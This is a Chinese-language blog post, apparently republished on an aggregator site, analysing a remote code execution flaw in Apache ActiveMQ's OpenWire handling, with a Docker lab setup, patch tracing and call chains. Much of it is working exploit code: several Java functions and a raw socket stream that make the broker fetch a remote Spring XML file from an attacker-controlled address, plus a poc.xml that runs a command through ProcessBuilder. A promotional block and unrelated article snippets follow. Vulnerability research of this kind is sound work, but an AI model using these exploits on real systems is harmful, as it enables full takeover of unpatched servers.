Apache ActiveMQ 远程代码执行漏洞分析

漏洞简介

Apache ActiveMQ官方发布新版本,修复了一个远程代码执行漏洞,攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。

影响版本

Apache ActiveMQ 5.18.0 before 5.18.3
Apache ActiveMQ 5.17.0 before 5.17.6
Apache ActiveMQ 5.16.0 before 5.16.7
Apache ActiveMQ before 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16

环境搭建

没有找到合适的 docker 镜像 ,尝试自己进行编写

可以站在巨人的肩膀上进行编写利用 利用项目 https://github.com/zer0yu/dfimage 分析镜像的dockerfile

docker pull islandora/activemq:2.0.7
dfimage islandora/activemq:2.0.7

image

结合 https://activemq.apache.org/version-5-getting-started

image

Dockerfile

FROM ubuntu
#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN apt-get update -y
RUN apt-get install wget -y
RUN apt install openjdk-11-jre-headless -y
COPY apache-activemq-5.18.2-bin.tar.gz  /
#RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz 
RUN chmod 755 /apache-activemq-5.18.2/bin/activemq
RUN echo  '#!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null' > start.sh
RUN chmod +x start.sh
EXPOSE 8161 61616CMD ["/start.sh"]## 默认启动后 8161 的管理端口仅能通过 127.0.0.1 本地地址进行访问 可以通过修改 /conf/jetty.xml 

docker-compose.yml

version: "2.2"
services:activemq:build: .ports:- "8161:8161"- "61616:61616"

image

./activemq start
./activemq status
./activemq console
netstat -tuln | grep 8161
netstat -tuln | grep 61616

漏洞分析

下载源代码 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip

开启调试只需要修改 apache-activemq-5.18.2\bin\activemq

image​https://github.com/apache/activemq/compare/activemq-5.18.2…activemq-5.18.3

image

image新版本的修复位置是在

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable

image

ClassName 和 message 可控,代表着可以调用任意类的 String 构造方法,AvtiveMQ 内置 Spring,结合 org.springframework.context.support.ClassPathXmlApplicationContext​ 加载远程配置文件实现 SPEL 表达式注入。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

寻找调用该方法的位置

image

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable

image继续向上寻找调用

image

网上大部分都选用了 ExceptionResponseMarshaller​ 我们也基于此进行分析

org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal

image​继续向上寻找调用

image

org.apache.activemq.openwire.OpenWireFormat#doUnmarshal

image我们看到此时 dsm 的值是基于传入的 dis.readByte();

image

<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;wireFormat.maxFrameSize=104857600"/>ActiveMQ中默认的消息协议就是openwire

编写一个 ActiveMQ 的通信请求

 public static void sendToActiveMQ() throws Exception {/** 创建连接工厂,由 ActiveMQ 实现。构造方法参数* userName 用户名* password 密码* brokerURL 访问 ActiveMQ 服务的路径地址,结构为: 协议名://主机地址:端口号*/ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616");//创建连接对象Connection connection = connectionFactory.createConnection();//启动连接connection.start();/** 创建会话,参数含义:* 1.transacted - 是否使用事务* 2.acknowledgeMode - 消息确认机制,可选机制为:*  1)Session.AUTO_ACKNOWLEDGE - 自动确认消息*  2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制*  3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制*/Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);//创建目的地,也就是队列名Destination destination = session.createQueue("q_test");//创建消息生成者,该生成者与目的地绑定MessageProducer mProducer = session.createProducer(destination);//创建消息Message message = session.createTextMessage("Hello, ActiveMQ");//发送消息mProducer.send(message);connection.close();}

image

前面的调用栈为

doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:290, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:829, Thread (java.lang)

此时 datatype 为 1 调用的是 WireFormatInfoMarshaller 我们要想办法调用 datatype 为 31 的 ExceptionResponseMarshaller

花式触发 ExceptionResponseMarshaller

现在我们的目的就是为了去调用 ExceptionResponseMarshaller

寻找触发 ActiveMQ 中的 ExceptionResponse

image

函数 org.apache.activemq.ActiveMQSession#asyncSendPacket​ 和

函数 org.apache.activemq.ActiveMQSession#syncSendPacket​ 都可以发送 command

最后会调用到 org.apache.activemq.transport.tcp.TcpTransport#oneway​ 也可以通过 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);​ 和 ((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);​来触发

image

    public static void ExceptionResponseExploit() throws Exception {ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");Connection connection = connectionFactory.createConnection("admin","admin");connection.start();ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);ExceptionResponse expetionResponse = new ExceptionResponse();expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));ExploitSession.syncSendPacket(expetionResponse);//ExploitSession.asyncSendPacket(expetionResponse);//((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);//((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);connection.close();}

image

由于 ExceptionResponse​ 实例化的时候必须传入 Throwable​ 类型,但是 ClassPathXmlApplicationContext​ 不是该类型,所以需要 修改 ClassPathXmlApplicationContext​ 继承 Throwable​ 。添加如下代码

package org.springframework.context.support;public class ClassPathXmlApplicationContext extends Throwable{public ClassPathXmlApplicationContext(String message) {super(message);}
}

相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller

   public static void ConnectionErrorExploit() throws Exception {ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");Connection connection = connectionFactory.createConnection("admin","admin");connection.start();ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);ConnectionError connectionError = new ConnectionError();connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));//ExploitSession.syncSendPacket(connectionError);//ExploitSession.asyncSendPacket(connectionError);((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);connection.close();}

    public static void MessageAckExploit() throws Exception {ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");Connection connection = connectionFactory.createConnection("admin","admin");connection.start();ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);MessageAck messageAck  = new MessageAck();messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));ExploitSession.syncSendPacket(messageAck);//ExploitSession.asyncSendPacket(messageAck);//((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);connection.close();}

通过数据流进行触发 ExceptionResponseMarshaller

主要是依据 ActiveMQ的协议 去触发 ExceptionResponseMarshaller

        String ip = "127.0.0.1";int port = 61616;String pocxml= "http://192.168.184.1:9090/poc.xml";Socket sck = new Socket(ip, port);OutputStream os = sck.getOutputStream();DataOutputStream out = new DataOutputStream(os);out.writeInt(0); //out.writeByte(31); //dataType ExceptionResponseMarshallerout.writeInt(1); //CommandIdout.writeBoolean(true); //ResponseRequiredout.writeInt(1); //CorrelationIdout.writeBoolean(true);//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF(pocxml);//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rceout.close();os.close();sck.close();

通过伪造类实现触发 ExceptionResponse

我们看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand

image

利用 wireFormat.unmarshal​ 来对数据进行处理 所以我们找到相对应的 wireFormat.marshal

org.apache.activemq.transport.tcp.TcpTransport#oneway

image

通过本地新建 org.apache.activemq.transport.tcp.TcpTransport​ 类重写对应逻辑,运行时优先触发本地的 TcpTransport 类

 /*** A one way asynchronous send*/@Overridepublic void oneway(Object command) throws IOException {checkStarted();Throwable obj = new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml");ExceptionResponse response = new ExceptionResponse(obj);wireFormat.marshal(response, dataOut);dataOut.flush();}

将发送的请求无论是什么数据都修改为 触发 ExceptionResponseMarshaller ,同样也因为 ExceptionResponse​ 实例化的时候必须传入 Throwable​ 类型,但是 ClassPathXmlApplicationContext​ 不是该类型,所以需要 修改 ClassPathXmlApplicationContext​ 继承 Throwable​ 。必须添加如下代码

package org.springframework.context.support;public class ClassPathXmlApplicationContext extends Throwable{public ClassPathXmlApplicationContext(String message) {super(message);}
}

poc.xml

<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg ><list><value>touch</value><value>/tmp/1.txt</value></list></constructor-arg></bean></beans>

漏洞复现

7

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/608107.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

统信UOS虚拟机安装VirtualBox扩展使用USB功能

为什么要安装VirtualBox扩展包&#xff1f; 安装 Oracle VM VirtualBox 扩展包的原因是&#xff0c;它提供了对 USB 2.0、USB 3.0、远程桌面协议 VRDP&#xff08;VirtualBox Remote Desktop Protocol&#xff09;等实用功能的支持&#xff0c;以增强 VirtualBox 的功能。这些…

HarmonyOS 应用开发学习笔记 ets组件生命周期

HarmoryOS Ability页面的生命周期 Component自定义组件 ets组件生命周期官放文档 本文讲解 ets组件的生命周期&#xff0c;在此之前大家可以先去了解Ability的生命周期&#xff0c;这两个生命周期有有一定的关联性 在开始之前&#xff0c;我们先明确自定义组件和页面的关系&…

Redis之集群脑裂

redis集群没有过半机制会有脑裂问题&#xff0c;网络分区导致脑裂后多个主节点对外提供写服务&#xff0c;一旦网络分区恢复&#xff0c;会将其中一个主节点变为从节点&#xff0c;这时会有大量数据丢失。 规避方法可以在redis配置里加上参数&#xff08;这种方法不可能百分百…

系列八、面向对象

一、面向对象 1.1、面向对象 vs 面向过程 &#xff08;1&#xff09;面向对象是一种对现实世界理解和抽象的方法&#xff0c;是计算机编程技术发展到一定阶段后的产物&#xff1b; &#xff08;2&#xff09;面向过程是一种以过程为中心的编程思想。这些都是以什么正在发生为主…

RPA财务机器人在厦门市海沧医院财务管理流程优化汇总的应用

目前国内外研究人员对于RPA机器人在财务管理流程优化领域中的应用研究层出不穷&#xff0c;但现有研究成果主要集中在财务业务单一领域&#xff0c;缺乏财务管理整体流程一体化管控的研究。RPA机器人的功能绝非单一的财务业务处理&#xff0c;无论从自身技术发展&#xff0c;或…

常见的Latex公式所用到的内容汇总

行内公式 f ( x ) a b f(x)ab f(x)ab 左右各加一个$&#xff0c;即为行内公式 $ f(x) ab $行间公式 $$ f(x) ab $$f ( x ) a b f(x)ab f(x)ab 手动编号 $$ f(x) a - b \tag{1.1} $$f ( x ) a − b (1.1) f(x)a-b \tag{1.1} f(x)a−b(1.1) 简单运算 -*/以及阿拉伯…

为什么大型服务器要用 Linux 系统?

为什么大型服务器要用 Linux 系统&#xff1f; 在开始前我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「Linux的资料从专业入门到高级教程」&#xff0c; 点个关注在评论区回复“888”之后私信回复“888”&#xff0c;全部无偿共享给大家&#xff01;&#xff…

创新百喻,综合性思维和分析性思维

创新百喻&#xff0c;综合性思维和分析性思维 不知道您注意没有&#xff0c;在创新中&#xff0c;人们的思维方式是不一样的&#xff0c;有综合性思维和分析性思维之分。总的来说&#xff0c;综合性思维适合创造原来没有的事物&#xff0c;而分析性思维擅长改进和提高&#xf…

element plus: el-upload详解

<el-uploadref"uploadRef":limit"1" // 上传几个accept".xlsx, .xls" // 支持的格式:headers"headers" :action"http//:shangchuan.com":disabled"state.upload.isUploading":before-upload"onBeforeUpl…

Java Spring boot 日期和时间统一设置

方法一&#xff1a;配置文件修改 修改配置文件配置application.yml&#xff1a; spring:# 配置日期格式化jackson:date-format: yyyy-MM-dd HH:mm:ss #时间戳统一转换为指定格式time-zone: GMT8 # 时区修改为东8区 application.properties配置方式 spring.jackson.date-f…

两周掌握Vue3(一):安装、打包、目录结构

文章目录 一、安装1.安装node.js和npm&#xff08;windows&#xff09;2.安装vue&#xff0c;创建vue项目报错&#xff1a;XXX不是内部或外部命令 二、打包三、目录结构 nodejs版本&#xff1a;v20.10.0 npm版本&#xff1a;v10.2.3 一、安装 1.安装node.js和npm&#xff08;…

安科瑞电气防火限流式保护器与电动汽车充电桩的搭配使用——安科瑞 顾烊宇

摘要&#xff1a;随着电动汽车行业的不断发展&#xff0c;电动汽车充电设施的使用会变得越来越频繁和广泛。根据中汽协数据显示&#xff0c;2022年上半年&#xff0c;我国新能源汽车产销分别完成266.1万辆和260万辆,同比均增长1.2倍,市场渗透率达21.6%。因此&#xff0c;电动汽…

bool和BOOL的区别

简介 在编程中&#xff0c;bool&#xff08;以小写形式&#xff09;和BOOL&#xff08;以大写形式&#xff09;是两个不同的数据类型。bool是C和C#等语言中的基本数据类型&#xff0c;它表示一个布尔值&#xff0c;可以是true&#xff08;真&#xff09;或false&#xff08;假…

韩语发音干货,零基础韩语学习,柯桥韩语知识点之发音规律

01.连音化 当收音遇到以元音为首音的音节时&#xff0c;收音要和该元音相连发音。 예: 독일[도길] 밥을 [바블] 우산이[우사니] 읽어요[일거요] 02.送气 ㄱ/ㄷ/ㅂ/ㅈ遇到ㅎ,送气化读成ㅋ/ㅌ/ㅍ/ㅊ 예: 어떻게[어떠케] 좋다[조타] 많지만[만치만] 백화점[배콰…

Qt连接数据库(内含完整安装包)

遇到问题必须多思考 这里是最全的Qt连接数据库步骤 qt下载地址 链接&#xff1a;https://pan.baidu.com/s/1wdnTfyL9MQlNOCrSmIOxrQ?pwddgqi 提取码&#xff1a;dgqi --来自百度网盘超级会员V1的分享 数据库百度网盘地址 链接&#xff1a;https://pan.baidu.com/s/1orCczey…

GPT大模型在生物、地球、农业、气象、生态、环境科学可以应用?

以ChatGPT、LLaMA、Gemini、DALLE、Midjourney、Stable Diffusion、星火大模型、文心一言、千问为代表AI大语言模型带来了新一波人工智能浪潮&#xff0c;可以面向科研选题、思维导图、数据清洗、统计分析、高级编程、代码调试、算法学习、论文检索、写作、翻译、润色、文献辅助…

云原生周刊:K8sGPT 加入 CNCF | 2024.1.8

开源项目推荐 VolSync VolSync 使用 rsync 或 rclone 在集群之间异步复制 Kubernetes 持久卷。它还支持通过 Restic 创建持久卷的备份。 KubeClarity KubeClarity 是一种用于检测和管理软件物料清单 (SBOM) 以及容器映像和文件系统漏洞的工具。它扫描运行时 K8s 集群和 CI/…

什么是VDA4913?

VDA 4913是VDA标准下发货通知&#xff08;Despatch Advice&#xff09;的报文类型代码&#xff0c;用于通知供应链中的相关各方有关订单发货的详细信息。这个标准化的业务单据帮助供应商、制造商和物流公司之间更加高效和准确地协作&#xff0c;以确保产品能够按计划准时交付&a…

【Scala】——函数式编程

1 面向对象编程和函数式编程 1.1 面向对象编程 解决问题&#xff0c;分解对象&#xff0c;行为&#xff0c;属性&#xff0c;然后通过对象的关系以及行为的调用来解决问题。 • 对象&#xff1a;用户 • 行为&#xff1a;登录、连接 JDBC、读取数据库 • 属性&#xff1a;用户…

Three.js 纹理贴图的实现

在线工具推荐&#xff1a; 3D数字孪生场景编辑器 - GLTF/GLB材质纹理编辑器 - 3D模型在线转换 - Three.js AI自动纹理开发包 - YOLO 虚幻合成数据生成器 - 三维模型预览图生成器 - 3D模型语义搜索引擎 纹理贴图简介 当我们创建一个网格时&#xff0c;比如我们不起眼的立…